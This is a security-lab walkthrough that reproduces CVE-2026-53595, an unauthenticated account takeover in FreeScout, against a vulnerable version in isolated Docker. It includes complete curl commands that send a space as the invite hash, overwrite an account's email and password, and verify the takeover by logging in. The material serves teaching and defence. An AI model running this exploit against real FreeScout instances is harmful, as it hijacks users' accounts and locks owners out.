Labs

CVE-2026-53595: FreeScout Account Takeover

Docker lab Account Takeover

Updated July 27, 2026 · Written by PWNMI — see About.

Some vulnerabilities come from a missing check. This one comes from a database engine's own equality rules doing something the developer never expected. FreeScout is a self-hosted open-source help desk platform. CVE-2026-53595 is an unauthenticated account takeover — no credentials, no session, no prior access required — that exists because of how MySQL and MariaDB compare VARCHAR values.

This lab uses a public proof-of-concept and a real vulnerable version of FreeScout, running fully isolated with no ports exposed beyond the Docker host itself. Affects FreeScout before 1.8.224; fixed in 1.8.224. Original research and PoC: 0xdak/CVE-2026-53595_exploit.

What you'll practice: recognizing a database-engine quirk as a real security bug, working around a target's Host-header validation, and confirming an exploit's impact properly — by checking the database and logging in with the seized credentials from a fresh session, not just trusting an HTTP status code.

Set up the lab

New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.

Get the lab files from pwnmihq/resources:

git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-53595
cd cve-labs/CVE-2026-53595
docker compose up -d

This starts MariaDB and FreeScout (the exact vulnerable version, 1.8.219, via a maintained third-party image — FreeScout doesn't publish an official one). No ports are published — reach the container on its own address:

IP=$(docker inspect $(docker compose ps -q freescout) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
TARGET="http://$IP:8080"

FreeScout's TrustHosts middleware rejects any request whose Host header doesn't match its configured URL, which this lab sets to freescout:8080. Every request from here needs -H "Host: freescout:8080", including this readiness check:

curl -s -o /dev/null -w '%{http_code}' -H "Host: freescout:8080" "$TARGET/login"

A 200 means the login page is up.

Understanding the vulnerability

The vulnerable endpoint, POST /user-setup/{hash}/{invite_sent_at}, is meant for a very specific moment: a user who was just invited, clicking the link in their invitation email to finish setting up their account. It identifies which account to set up by looking up a user whose invite_hash column matches the {hash} in the URL.

An account that's already completed setup has invite_hash set to an empty string, ''. That's where the bug lives: MySQL and MariaDB's default VARCHAR comparison ignores trailing spaces, so the string ' ' (a single space) is considered equal to ''. Send a single URL-encoded space (%20) as the hash, and the lookup matches the first already-activated account it finds — no guessing a real hash required.

There's a second check meant to stop this — the URL also carries a timestamp, decrypted using the target account's own password as the key, intended to expire old invitation links. But the decryption helper has an empty catch block: if decryption fails for any reason, it silently returns the raw input instead of rejecting the request. A plain, current Unix timestamp passed straight through satisfies it without ever needing the real key.

Combined, those two bugs mean: no valid hash needed, no valid timestamp signature needed. The endpoint then does exactly what it's designed to do for a legitimate new user — sets the account's email and password from the request body, and logs the requester in as it.

Exploitation

The database needs to be in a specific, realistic state first: an activated account with invite_hash = ''. In production this happens naturally the first time any invited user finishes setup — this lab reproduces that same end state directly, since standing up outbound email just to trigger the normal invite flow is unnecessary to demonstrate the bug:

docker compose exec -T db mysql -ufreescout -pfreescout freescout \
  -e "SELECT id,email,invite_hash FROM users;"
docker compose exec -T db mysql -ufreescout -pfreescout freescout \
  -e "UPDATE users SET invite_hash = '' WHERE id = 1;"

Now run the actual exploit. First, load the setup page to get a session and pull the CSRF token FreeScout embeds in the page:

TS=$(date +%s)
JAR=/tmp/jar.txt
HTML=$(curl -s -c $JAR -H "Host: freescout:8080" "$TARGET/user-setup/%20/$TS")
CSRF=$(echo "$HTML" | grep -oE 'name="csrf-token" content="[^"]+"' | sed -E 's/.*content="([^"]+)".*/\1/')

Then submit the takeover request itself — a space (%20) as the hash, a current timestamp, and new credentials of the attacker's choosing:

curl -s -o /dev/null -w 'HTTP %{http_code}\n' -b $JAR -c $JAR \
  -H "Host: freescout:8080" "$TARGET/user-setup/%20/$TS" \
  --data-urlencode "_token=$CSRF" \
  --data-urlencode "email=pwned@evil.com" \
  --data-urlencode "password=Pwned12345" \
  --data-urlencode "password_confirmation=Pwned12345" \
  --data-urlencode "timezone=UTC" \
  --data-urlencode "time_format=1"

A 302 is the documented success signal. Don't stop at the status code, though — confirm the account was actually overwritten:

docker compose exec -T db mysql -ufreescout -pfreescout freescout \
  -e "SELECT id,email,invite_hash FROM users;"

The row now shows email = pwned@evil.com. For the real proof, log in as that account from a completely fresh session — not reusing any cookie from the exploit itself:

JAR2=/tmp/jar2.txt
HTML=$(curl -s -c $JAR2 -H "Host: freescout:8080" "$TARGET/login")
CSRF=$(echo "$HTML" | grep -oE 'name="csrf-token" content="[^"]+"' | sed -E 's/.*content="([^"]+)".*/\1/')
curl -s -o /dev/null -w 'LOGIN: %{http_code}\n' -b $JAR2 -c $JAR2 \
  -H "Host: freescout:8080" "$TARGET/login" \
  --data-urlencode "_token=$CSRF" \
  --data-urlencode "email=pwned@evil.com" \
  --data-urlencode "password=Pwned12345"
curl -s -o /dev/null -w 'AUTHED PAGE: %{http_code}\n' -b $JAR2 \
  -H "Host: freescout:8080" "$TARGET/mailboxes"

A 302 on login followed by a 200 on /mailboxes — an authenticated-only admin page — confirms it: this is a genuine account takeover, not just a favorable status code from the exploit's own session.

Cleanup

This one is worth pausing on, because it's not fully reversible. The exploit overwrites the target account's email and password directly — the original password only ever existed as a one-way hash, which this request destroyed. There's no request you can send to restore it; the account owner is locked out until someone resets it through a proper channel. On a real engagement, that's exactly why this specific technique needs explicit sign-off before you point it at anything but a disposable test account you control — "can I test this" and "can I test this against a real user's account, knowing it can't be undone" are different questions, and only the client can answer the second one.

What you can and should do afterward: restore the account to some known-good state (a fresh password reset through the normal flow, not another exploit request), and document exactly which account, what the original email was, and the timestamp — the client's own IT team needs that to close out the incident on their end even though you can't reverse it yourself.

Tear the lab down when you're done:

docker compose down -v

Lessons worth keeping

  • Database equality rules are part of your attack surface. This bug isn't a typo or a missing null check — it's a correct, documented MySQL/MariaDB behavior that the application code never accounted for. Any comparison against a database column can carry the database engine's own semantics into your security logic, whether you intended it to or not.
  • A catch block that fails open is worse than no error handling at all. The timestamp check exists specifically to expire old links. An empty catch that returns the unvalidated input on failure doesn't just skip validation — it makes the "security" check actively worse than not having it, since it looks present in the code while doing nothing.
  • Verify impact at the data layer, not just the HTTP layer. A 302 response proves the server accepted the request. Only the database check and the fresh independent login prove the account was actually compromised. That distinction is the difference between a real finding and a false positive in your own testing.

Next step

For the companion phase most engagements pair with an initial-access bug like this — dumping credentials once you've escalated further — see secretsdump.py. For more real CVEs reproduced the same way, see CVE-2026-62183 (Apache Syncope) and CVE-2025-24813 (Apache Tomcat).